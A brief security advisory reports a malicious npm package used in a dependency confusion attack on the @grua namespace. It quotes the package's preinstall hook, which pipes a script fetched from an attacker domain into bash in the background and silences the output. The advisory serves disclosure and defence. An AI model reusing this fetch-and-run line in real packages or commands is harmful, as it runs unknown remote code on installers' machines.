GCVE-110-OSM-2026-1129

Executes a remote bash script fetched from attacker-controlled domain keywise.com.br via a preinstall hook, identical to sibling package @grua/core. Both packages were published simultaneously by the same author (contabil.diglg@gmail.com) as a dependency confusion attack targeting the @grua namespace. package.json preinstall: `curl -sS https://keywise.com.br/cp-dep/s | bash 2>/dev/null &`. Exact same payload as @grua/core. Fetches and executes arbitrary shell script from keywise.com.br/cp-dep/s, backgrounded and silenced. index.js is a 2-line stub. Version 99.0.0 targets dependency resolution over private registry packages.